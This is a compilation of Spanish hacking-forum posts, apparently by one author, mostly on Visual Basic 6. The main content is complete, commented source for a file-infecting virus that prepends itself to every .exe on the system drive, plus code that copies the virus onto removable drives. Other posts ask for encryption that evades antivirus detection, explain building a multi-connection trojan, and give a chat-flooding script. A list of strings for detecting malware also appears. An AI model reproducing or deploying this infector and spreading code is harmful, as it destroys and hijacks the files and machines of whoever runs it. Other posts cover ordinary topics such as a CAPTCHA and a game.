     El 70% de las veces se convertirá en Humano
     El 30% de las veces se convertirá en Doctor

Las reglas son sencillas, y como todo está programado bajo Randomize... a veces ganan los virus y otras veces los Humanos, pero tengo un problema, a ver si entre unos cuantos lo mejoramos...

1) Si dejamos un buen rato los bichitos enchufados, éstos terminan agrupándose en la parte superior izquierda (hay que solucionarlo)
2) Molaría añadir una raza nueva, por ejemplo Mujeres que ayudaran a reproducir más humanos
3) Molaría cambiar las leyes y poner, por ejemplo, hombres lobo y vampiros, etc...
4) Estaría bien añadir sonidos cuando infecten o desinfecten bichos, con la API Beep.

A parte el modo en el que está programado consume bastantes recursos, sería bueno mejorar este punto...



Dejo el código como curiosidad, no es muy útil pero a mi me divierten este tipo de cosas. Si conseguis mejorar algo o añadir cosas ponerlo en este post, el source esta comentado al máximo, si no se entiende algo me lo preguntais, pero creo que es facil de entender.

PD: La idea de este programa no es mía, ví un código similar en pscode, yo me he quedado con la idea y he hecho mejoras (como la raza de los médicos por ejemplo). Saludos!!

[Infección de Ejecutables en Visual Basic 6.0]

Infección de Ejecutables en Visual Basic 6.0

Bueno, ya he finalizado el proyecto, lo he testeado en una máquina virtual y funciona a la perfección Os dejo el código comentado, tambien os dejo una versión compilada del proyecto y un ZIP con el source

Como funciona?

1- El programa principal busca por el disco duro todos los archivos con extension *.exe
2- Cuando encuentra uno, crea una copia del virus con el siguiente formato: [VIRUS]+Marca+[HUESPED]
3- Cuando se ejecuta un archivo infectado, el virus busca la Marca para separar el [VIRUS] del [HUESPED] y ejecutarlos de forma separada



Form1.frm

Código (vb) [Seleccionar] Expandir


Private Sub Form_Load()
    App.TaskVisible = False
    If App.PrevInstance = True Then End
    SelfCheck
End Sub


InfectModule.bas

Código (vb) [Seleccionar] Expandir



Function SelfCheck()
    On Error Resume Next
    Dim MyCode As String
   
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
   
    'Separa "MyCode" buscando la marca de infección (**X**)
    Buffer = Split(MyCode, "(**X**)")
   
    If UBound(Buffer) = 1 Then
        'Si existe la marca: Llama la funcion "DivideFiles" con el argumento del código del Huésped
        Hostage = Buffer(1)
        DivideFiles Hostage
    Else
        'Si NO existe la marca: Llama la funcion "Subfolders" con el argumento de unidad del Sistema (C:\)
        Subfolders (Environ("SystemDrive") & "\")
        DoEvents
        End
    End If
End Function

Function DivideFiles(ByVal Hostage As String)
    Randomize
    On Error Resume Next
    Dim TmpFile As String
   
    'Crea un archivo temporal con el código del Huésped, por ejemplo:
    'C:\DOCUME~1\USER\CONFIG~1\Temp\85061.exe
    TmpFile = Environ("TMP") & "\" & Int((Rnd * 99999) + 1) & ".exe"
   
    Open TmpFile For Binary As #1
        Put #1, , Hostage
    Close #1
   
    DoEvents
    'Ejecuta el archivo temporal (el Huésped) y llama al "PayLoad" del virus
    Shell TmpFile, vbNormalFocus
    Call ExecPayload
End Function

Function InfectFile(ByVal Victim As String)
    On Error Resume Next
    Dim VictimCode As String
    Dim NewCode As String
    Dim MyCode As String
   
    'Se abre a si mismo, lee su codigo y lo guarda en "MyCode"
    Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
        MyCode = Input(LOF(1), 1)
    Close #1
   
    'Abre el archivo Huésped, lee su código y lo guarda en "VictimCode"
    Open Victim For Binary As #1
        VictimCode = Input(LOF(1), 1)
    Close #1
   
    'Crea la variable "NewCode" donde se guarda: MyCode + (**X**) + VictimCode
    NewCode = MyCode & "(**X**)" & VictimCode
   
    'Sobrescribe el archivo Huésed con el infectado
    Open Victim For Binary As #1
        Put #1, , NewCode
    Close #1
End Function

Function IsInfected(ByVal File As String) As Boolean
    On Error Resume Next
    Dim FileCode As String
       
    'Abre el archivo "File", lee su codigo y lo guarda en "FileCode"
    Open File For Binary As #1
        FileCode = Input(LOF(1), 1)
    Close #1

    'Separa "FileCode" buscando la marca de infección (**X**)
    Buffer = Split(FileCode, "(**X**)")
   
    'Devuleve "True" o "False" si ha encontrado la marca (**X**)
    If UBound(Buffer) <> 0 Then
        IsInfected = True
    Else
        IsInfected = False
    End If
End Function

Function Subfolders(path)
    On Error Resume Next
    'Se cifra el string que carga el objeto Scripting.FileSystemObject
    Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
    Set Drives = fso.Drives

    newpath = path
    Set Fold = fso.GetFolder(newpath)
    Set Files = Fold.Files
   
    For Each File In Files
        ext = fso.GetExtensionName(File.path)
        ext = LCase(ext)
        nam = LCase(File.Name)
        If (ext = "exe") Then
            If IsInfected(File.path) = False Then
                InfectFile (File.path)
                DoEvents
            End If
        End If
    Next
   
    Set File = Fold.Subfolders
    For Each Subfol In File
        Call Subfolders(Subfol.path)
    Next
End Function

Function ExecPayload()
    '#######################################################
    '##  Si quieres que los archivos infectados ejecuten  ##
    '##  la función de buscar e infectar nuevos archivos  ##
    '##  elimina los comentario que hay a continuación    ##
    '#######################################################
   
    'Subfolders (Environ("SystemDrive") & "\")
    'DoEvents
   
    MsgBox "Aqui empieza el código del PayLoad, añade las funciones que desees, como por ejemplo un webdownloader o un irc_bot"
    End
End Function


Encryption.bas

Código (vb) [Seleccionar] Expandir


Function bullet(FullCode)
    'Funcion que cifra Strings con el operador XOR
   
    For i = 1 To Len(FullCode)
        Current = Mid(FullCode, i, 1)
        Code = Chr(Asc(Current) Xor 2)
        bullet = bullet + Code
    Next
End Function




Adjunto el código fuente del proyecto. OJO no el código compilado en vuestra maquina, porque infectaria vuestros archivos xD

Ir con cuidado, Saludos!!

[||MadAntrax||]

Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.

Código (vb) [Seleccionar] Expandir

Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6

'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
    Dim i As Long
    Dim tmp As Long
    Dim drives As String
   
    tmp = GetLogicalDrives()
    If tmp Then
        For i = 0 To 25
            If (tmp And 2 ^ i) <> 0 Then
                drives = drives & Chr$(i + 65) & ":#"
            End If
        Next
    End If
    EnumDrives = drives
    'La variable drives almacena todas
    'las unidades en formato "A:#C:#D:#E:#"
End Function

Function GetType(ByVal drives As String)
    Dim tmp() As String

    'Separamos las unidades según el caracter #
    tmp = Split(drives, "#")
    For i = 0 To UBound(tmp) - 1
        If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
            'Llamamos a la función de infectar la unidad
            'si es del tipo DRIVE_REMOVABLE
            Call InfectDrive("virus.exe", tmp(i))
        End If
    Next
End Function

Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
    'Importante, no siempre tenemos acceso de escritura
    'en las unidades, sin esta linea podríamos "matar"
    'nuestro virus :(
    On Error Resume Next
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    'Obtenemos nuestra propia ruta
    GetModuleFileName 0, MySelf, Len(MySelf)
    'Nos copiamos en la unidad con el nombre de "virus.exe"
    FileCopy MySelf, drive & "\" & FileName
End Function

Private Sub Form_Load()
    'Empieza la juerga!
    Call GetType(EnumDrives)
End Sub


El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.

Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...

Saludos!! vuestro amigo ||MadAntrax||

[aqui]

Bueno, por la petición de varios usuario cuelgo el código fuente completo del Cactus Joiner 2.5 en su completa versión.

El programa en cuestión esta aqui. Con más de 1500 descargas por todos los usuarios del foro.

Para descargarlo haz click en: Cactus_Joiner_Source.zip (más abajo)

Y ya lo sabes... pon un Cactus en tu vida!

Saludos

[Code Advisor 6.0 for VB6]

Hola gente!! Os quiero presentar una utilidad que a mí al menos me ha sorprendido:

Code Advisor 6.0 for VB6
Esta aplicación se integra dentro de Visual Basic 6.0 y nos permite con un simple click de ratón analizar todo nuestro código fuente en busca de errores o mejoras. La gracia de este programa esque te señala las mejoras atraves de comentarios directamente en el código, explicándote que es lo más correcto.

Me ha sorprendido por la capacidad y rapidez de análisis, te advierte que funciones serán incompatibles en .NET (por si quieres exportar tu proyecto) y una breve explicación. El programa está en perfecto español y es facilísimo de utilizar

Descarga del programa
=> Download Code Advisor 6.0 <=

Instalación del programa
Los 2 únicos requisitos son tener el último Service Pack para Visual Basic (o Visual Studio) que actualmente es la SP6.0 => CLICK AQUI
Y por último tener cerrado por completo el Visual Basic para que la instalación pueda integrarse correctamente. Cuando finalice la instalación abrimos nuestro Visual Basic y encontraremos una nueva barra de herramientas:



Usar el programa
Primero abrimos algún código ya escrito o empezamos uno nuevo, y en cualquier momento pulsamos sobre el primer botón de la barra, el programa empezará ha analizar el código y ha añadirte los comentarios de mejoras (si realmente los necesitas) y luego para visualizarlos podemos ir directamente al cñodigo o pulsar el tercer botón para desplazarnos por cada comentario automaticamente.

Lo que me gusta es que el programa solo te sugiere y te recomienda mejoras, pero no te altera el código si no quieres, aqui una captura:



Y por último añadir que el programa deja un reporte del estado de tu código, aquí os dejo un ejemplo de un código mio:

=> Ejemplo Reporte

[Mem Dumper 1.3 - Source Code]

Mem Dumper 1.3 - Source Code
Como siempre dejo el código fuente de mi nueva creación: Mem Dumper - Un programa para volcar la memoria de un proceso. Está escrito en VB6 y lo he comentado absolutamente todo, no creo que tengáis problemas para modificarlo a vuestro gusto. Pasaros por el post original para saber como funciona y probar los ejemplos con Hotmail, Steam y CuteFTP

[Proyecto] Mem Dumper 1.3 - Herramienta para volcar la memoria de un proceso

Saludos!! decirme si os gusta o que se puede mejorar/quitar/añadir, etc...

=> Descarga Mem Dump 1.1
=> Descarga Mem Dump 1.3

Bueno, como sois muchos los que me piden el código fuente del programa, lo posteo aqui. Vereis que es muy sencillo. También pongo un link para descargarlo completamente:

Código (vb) [Seleccionar] Expandir


Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub CommandXP1_Click()
    CommandXP1.Enabled = False
    Clipboard.Clear
    Clipboard.SetText "Poner aqui el simbolo :[ muchas veces!!"
    AppActivate "Conversación"
    Sleep "50"
    For i = 1 To 300
        SendKeys "^v"
        SendKeys "{ENTER}"
    Next i
    CommandXP1.Enabled = True
End Sub


Buenas gente, estoy escribiendo un script para hacer Cloaking en un servidor de pruebas. Y tengo varias dudas...

1) Cual es la mejor forma de obtener la IP de un visitante? actualmente uso: $_SERVER['REMOTE_ADDR'];

2) Para traducir una IP a nombre dns que función es la más correcta? actualmente uso: gethostbyaddr();

3) Que funcion me sirve para saber si una cadena de texto existe dentro de otra cadena? Por ejemplo:

$cadena = "www.php.net";
$buscar = "net";

Necesito una función que si le paso $cadena y $buscar me devuelva True.

Hola gente:

Necesito saber si alguien conoce la API que permite enviar "clicks" del ratón. Es decir, necesito hacer una aplicación que envíe muchos clicks, lo necesito para "simular" que hay un usuario dando click derecho todo el raton sin parar.

La idea es para usarlo como "bot" en un videojuego, y para no estar yo 3 horas dando click's prefiero hacer una aplicación que los pulse por mi

Gracias!!

Hola, estoy intentando crear un Captcha para integrarlo en varios proyectos. La base ya esta creada, tengo el script que me genera una imagen completamente aleatoria, mi pregunta es: ¿Como hago para que el script genere una imagen apartir de una variable aleatoria y ésta sea comprobada através de un formulario?

Os dejo el código escrito y un zip preparado:

Código [Seleccionar] Expandir

<?php
header("Content-type: image/png");

$im = imagecreatetruecolor(200, 50);
$bg = imagecolorallocate($im, mt_rand(175,255), mt_rand(175,255), mt_rand(175,255));
imagefilledrectangle($im, 0, 0, 199, 49, $bg);

$texto = array("0","1","2","3","4","5","6","7","8","9","a","b","c","x","y","z");
$fonts = array("bauhs93.ttf","bernhc.ttf","bradhitc.ttf","castelar.ttf","comic.ttf","couri.ttf","goudysto.ttf","impact.ttf","tahoma.ttf","verdana.ttf");

$reg = 200 / 7;
$rog = 50 / 4;
$rag = 200 / 6;

for ($i = 1; $i <= 6; $i++) {

//ESCRIBE TEXTO//

$t_color = imagecolorallocate($im, mt_rand(0,100), mt_rand(0,100), mt_rand(0,100));
imagettftext($im, mt_rand(20,30), mt_rand(-20,20), mt_rand(($reg * $i)-3,($reg * $i)+3)-10, mt_rand(30,40), $t_color, $fonts[mt_rand(0,9)], $texto[mt_rand(0,15)]);
}

for ($i = 1; $i <= 3; $i++) {

//LINEAS HORIZONTALES//

$hl_color = imagecolorallocate($im, mt_rand(150,255), mt_rand(150,255), mt_rand(150,255));

$var = mt_rand(-5,5);

imageline($im,0,$rog * $i,200,$rog * $i + $var,$hl_color);

}

for ($i = 1; $i <= 5; $i++) {

//LINEAS VERTICALES//

$hl_color = imagecolorallocate($im, mt_rand(150,255), mt_rand(150,255), mt_rand(150,255));

$var = mt_rand(-3,3);

imageline($im,$rag * $i,0,$rag * $i + $var,50,$hl_color);

}


for ($i = 1; $i <= 50; $i++) {

//CRUCES//

$tmp = mt_rand(1,50);

$color1 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color2 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color3 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color4 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color5 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color6 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color7 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color8 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));
$color9 = imagecolorallocate($im, mt_rand(0,255), mt_rand(0,255), mt_rand(0,255));

imagesetpixel($im,$i*4,$tmp,$color1);
imagesetpixel($im,$i*4+1,$tmp+1,$color2);
imagesetpixel($im,$i*4+2,$tmp+2,$color3);
imagesetpixel($im,$i*4+1,$tmp-1,$color4);
imagesetpixel($im,$i*4+2,$tmp-2,$color5);
imagesetpixel($im,$i*4-1,$tmp+1,$color6);
imagesetpixel($im,$i*4-2,$tmp+2,$color7);
imagesetpixel($im,$i*4-1,$tmp-1,$color8);
imagesetpixel($im,$i*4-2,$tmp-2,$color9);
}

$borde = imagecolorallocate($im, mt_rand(0,150), mt_rand(0,150), mt_rand(0,150));
imagerectangle($im,0,0,199,49,$borde);
imagerectangle($im,1,1,198,48,$borde);
imagepng($im);
?>


Aprobecho tambien para preguntar si las imagenes generadas son faciles o dificiles para ser interpretadas por un programa.

Se que hay cosas por mejorar:

1) Meter un config.php como include para poner variables globales
2) Hacer una matriz de colores para no usar tanto imagecolorallocate
3) Mejoras en general

Muy buenas, estreno el foro con esta dudilla que tengo. Quiero hacer un webapp para administrar servidores, con una base de datos simple (en txt mismo, no necesito sql ni nada). El programa es así de simple:

Yo agrego IP's al txt, y el webapp hace la función fsockopen(); para comprobar si conecta un puerto. Si me conecta lo marco como ONLINE y si no conecta lo marco como OFFLINE. De esta manera se despliega un menú con opciones para administrarlo por Terminal Server, Telnet, etc...

Esto ya está hecho y funciona de coña. Ahora solo quiero añadir usuarios y passwords para que cada user tenga su TXT con sus IP's agregadas. Para ello uso el siguiente script:

Código [Seleccionar] Expandir

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Administrador de Servidores"');
header('HTTP/1.0 401 Unauthorized');
echo 'Please, insert username and password';
exit;
} else {
//resto del código autenticado
//crear sesion
//meter cookie
}
?>

Esto me funciona de coña, pero en IE7 aparece un mensaje de advertencia diciendo que esos datos se enviarán de una forma no segura, etc etc etc. Se que la función Header admite más "WWW-Authenticate", alguien los conoce todos?

Gracias!!

[BCP]

Hola gente!

Aqui presento el BCP (Best Cactus Programmer). Presento este concurso para animar a la gente que programe sencillas funciones que cumplan unos requisitos y objetivos claros. Los ganadores seleccionados serán  añadidos como "Colaboradores" en la ventana de "About" y en el "Leame" del nuevo Cactus Joiner, añadiendo su nick, mail y pagina web como motivo de agradecimiento.

Para ello voy a formular a lo largo de esta semana unas cuantas preguntas sobre programación. El primer usuario que responda mi problema correctamente se añadirá su código en el cactus y pondré su nick en los creditos.



Primera pregunta:

Tengo una variable con una ruta completa de un archivo, necesito sacar el nombre del archivo completo y su extensión. El nombre del archivo no tiene una longitud estática. Y la estensión del archivo suele ser de 3 carácteres, aunque podría tener más o menos carácteres. Pido una sencilla función con un solo parámetro de entrada (la ruta completa del archivo) y 2 variables de salida: El nombre del archivo y su extensión.

TERMINADO: Hendrix y WarGhost
FUNCIÓN:

Código [Seleccionar] Expandir

Public Function ExtraerCadena(cadena As String, l As Long) As String
Dim FullName As String
FullName = Mid(cadena, InStrRev(cadena, "\") + 1)
Select Case l
Case 1
ExtraerCadena = Mid(FullName, 1, InStrRev(FullName, ".") - 1)
Case 2
ExtraerCadena = Mid(FullName, InStrRev(FullName, ".") + 1)
Case 3
ExtraerCadena = FullName
End Select
End Function

1 = Devuelve el nombre
2 = Devuelve la extesion
3 = Devuelve el FullName

Segunda pregunta:

Necesito una función para cifrar programas. No se puede usar la función XOR ya que nos puede aparecer el carácter Chr(0) (fin de cadena).

1) La función no puede ser muy extensa y no tiene que consumir muchos recursos.
2) Aparte tiene que ser recursiva (que sirva tanto para cifrar/descifrar opcional)
3) Si ciframos un virus con esa función, los AV no tienen que detectarlo

TERMINADO: Hendrix
FUNCIÓN:

Código [Seleccionar] Expandir

Public Function crypt(cadena As String) As String
crypt = StrReverse(cadena)
End Function



Tercera pregunta:

Necesito una función (o varias) que me devuelvan el nombre completo y su extensión del propio programa que estamos ejecutando. Por ejemplo: Si el programa se llama 'hola.exe' que devuelva 'hola.exe' si se llama 'adios.bat' que devuelva 'adios.bat'. La variable App.EXEName solo devuelve el nombre del ejecutable, pero no su extensión.

TERMINADO: Lympex[/b]
FUNCION:[/b]

Código [Seleccionar] Expandir

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Private Sub Form_Load()
Dim nombre As String
nombre = String$(255, Chr$(0))

GetModuleFileName 0, nombre, Len(nombre)
MsgBox nombre
End Sub

[1) Empezamos un proyecto en VB6 'EXE Estándar']

En algunos casos hemos querido crear un nuevo control cuando ya hemos terminado nuestra aplicación. Supongamos un ejemplo que tenemos un formulario con 2 cajas de texto, pero según el usuario que lo ejecute se necesitarán más cajas de texto. Este efecto se llama: "Cargar controles en tiempo de ejecución". Veamos un ejemplo práctico:

1) Empezamos un proyecto en VB6 'EXE Estándar'

2) En nuestro formulario insertamos un cuadro de texto y lo llamamos 'Text'. Insertamos un CommandButton normal.


3) Establecemos la propiedad 'Index' al valor 0


4) En el evento Command1_Click() escribimos el siguiente código:

Código [Seleccionar] Expandir


   For i = 1 To 5
        Load Text(i)
        Text(i).Visible = True
        Text(i).Top = Text(i - 1).Top + Text(i).Height
    Next


Este código se encarga de cargar 5 nuevos controles, hay que establecer siempre el Visible = True y cambiar su posición en el formulario.

5) Escribimos el siguiente código en el evento Text_Click(Index As Integer) de la caja de texto:

Código [Seleccionar] Expandir


    MsgBox "Hola, soy la caja " & Index


6) Insertamos un nuevo botón 'Command2' y escribimos el siguiente código en el evento Click():

Código [Seleccionar] Expandir


    MsgBox "Hay " & Text.Count & " cajas de texto"



Ejecutamos el programa y pulsamos el segundo botón, nos dirá que hay solo una caja de texto. Pulsamos el primer botón para cargar los nuevos controles en tiempo de ejecución y pulsamos de nuevo el segundo botón, nos dirá que hay 6 cajas de texto.

Si hacemos click en cada caja de texto nos saldrá un mensaje indicando que caja se está ejecutando.

Para que demonios sirve esto?
Yo lo uso sobretodo para crear una aplicación con multiconexión, (un troyano por ejemplo). Si queremos que el server.exe de nuestro troyano acepte más de 1 conexión simultanea (para controlar a la victima desde 4 ordenadores distintos a la vez, por ejemplo) necesitaremos un módulo que vaya cargando nuevos Winsock en tiempo de ejecución y los vaya dejando a la escucha en puertos diferentes, asi conseguireis un troyano con conexiones 'casi' infinitas.

[Tanks]

Hola gente!

Supongo que conocereis el antiguo juego "Tanks", donde 2 jugadores tenian que disparar sus tanques midiendo el angulo del tiro y la fuerza, calculando tambien factores como el viento.

Bien, este antiguo juego ha sufrido muchisimas evoluciones y una de ellas es "Pocket Tanks". Me lo he descargado, asi como todas las ampliaciones de armas que existen por el momento y solo decir que es una gozada. En total son 145 armas distintas y muy divertidas, con distintos efectos, daños, potencias, etc. Podeis ver imagenes del juego en su web oficial asi como las armas que encontrareis:

http://www.blitwise.com/ptanks.html
http://www.blitwise.com/ptanksdepot.html

Yo he recopilado todos los packs (los gratuitos y los de pago) y he hecho un zip para que los probeis. Seguro que os gustará el juego


Para instalar el juego completo

1) Descargar el zip desde aqui: DOWNLOAD PTANKS
2) Descomprimir los archivos en una carpeta
3) Instalar primero: "Pocket Tanks Deluxe.exe"
4) Instalar luego TODOS los demas packs: Ambush, Power, Fire, Color, Metero, Flame, etc...
5) Instalar tambien: ptfireworks100.exe y ptgravity.exe (son los ultimos packs)
6) A jugar!! xD

Seguro que el juego no os dejara indiferente. Lo que mas me gusta son la cantidad de armas que trae, todas distintas y divertidas

Hace un tiempo un usuario de este foro ideo un programa que buscaba una string en el interior de un programa compilado, para ver si era un virus o no. La idea me pareció muy interesante, asi que me he decidido en ampliar la base de datos del programa para que detecte más archivos malicioso.

Entre otras funciones, es capaz de descubrir que aplicaciones usan la libreria MSWINSCK.OCX (como los troyanos) o la API: DownloadToFileA (como los gusanos o webdownloaders).

Aqui la lista de string:

"gusano"
"worm"
"virus"
"virii"
"troyano"
"troyano"
"troyan"
"trojan"
"Software\Microsoft\Windows\CurrentVersion\Run"
"WScript.Shell"
"Scripting.FileSystemObject"
"HKEY_CLASSES_ROOT\exefile\shell\open\command"
"drivers\etc\hosts"
"GetSpecialFolder"
"infect"
"Winsock"
"MSWINSCK.OCX"
"URLDownloadToFileA"
"keylog"
"nuke"

Se puede burlar facilmente este scanner con una simple encriptacion de strings.

(El codigo fuente lo encontrareis en el interior del zip, más info en: http://foro.elhacker.net/index.php/topic,133982.0.html)

[Cactus Joiner]

Buenas gente, estoy delante un pequeño problema donde no encuentro solución:

Necesito la forma de editar el icono de un ejecutable ya compilado. Lo necesito para implementarlo en mi proyecto Cactus Joiner.

En realidad este punto ya lo tengo controlado y el proyecto es capaz de editar el icono del ejecutable, pero solo me edita el icono de 32x32, lo que necesito es que me edite tanto el icono 32x32 como el 16x16

Os voy a dejar el código que utilizo para editar el icono de 32x32 a ver si entre todos podemos mejorarlo y ampliarlo al de 16x16. Por contra, si alquien posee algun codigo, api, web o articulo que pueda ayudarme le agradeciria que lo posteara aqui, muchas gracias.

Saludos!!

[ClipCursor]

Jugando un poco con la API de ClipCursor se pueden retringir la zona por donde el mouse puede desplazarse. Crear un nuevo proyecto, quitar el Form1.frm y añadir un módulo (Module1.bas):

Código [Seleccionar] Expandir

Private Declare Function ClipCursor Lib "user32" (zone As RECT) As Boolean
Private Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type

Sub main()
    Dim zone As RECT
   
    zone.Left = (Screen.Width / 2) / Screen.TwipsPerPixelX
    zone.Top = (Screen.Height / 2) / Screen.TwipsPerPixelY
    zone.Right = ((Screen.Width / 2) + 100) / Screen.TwipsPerPixelY
    zone.Bottom = ((Screen.Height / 2) + 100) / Screen.TwipsPerPixelY
   
    a = ClipCursor(zone)
End Sub

Este código bloquea el ratón en el centro de la pantalla y lo deja mover unos pocos píxeles. Si se pulsa Ctrl+Alt+Supr o la tecla de Windows el ClipCursor desaparece. Si agregais esta función en un bucle o Timer1 tendreis el ratón siempre bloqueado.


Otra manera más graciosa es con la API: GetCursorPos y SetCursorPos. Si juntais esas 2 apis más la opcion randomize tendreis un programa que deja el ratón 'borracho' xD. Crear un nuevo proyecto, solo dejar el Form1.frm, añadir un Timer1 con el interval = 100:

Código [Seleccionar] Expandir

Private Type POINTAPI
X As Long
Y As Long
End Type

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Private Sub Timer1_Timer()
    Dim pnt As POINTAPI
    GetCursorPos pnt
    Randomize
    tmp = Int(Rnd * 4) + 1
    If tmp = 1 Then
        curx = pnt.X + Int(Rnd * 40)
        cury = pnt.Y + Int(Rnd * 40)
    ElseIf tmp = 2 Then
        curx = pnt.X - Int(Rnd * 40)
        cury = pnt.Y - Int(Rnd * 40)
    ElseIf tmp = 3 Then
        curx = pnt.X + Int(Rnd * 40)
        cury = pnt.Y - Int(Rnd * 40)
    ElseIf tmp = 4 Then
        curx = pnt.X - Int(Rnd * 40)
        cury = pnt.Y + Int(Rnd * 40)
    End If
    SetCursorPos curx, cury
End Sub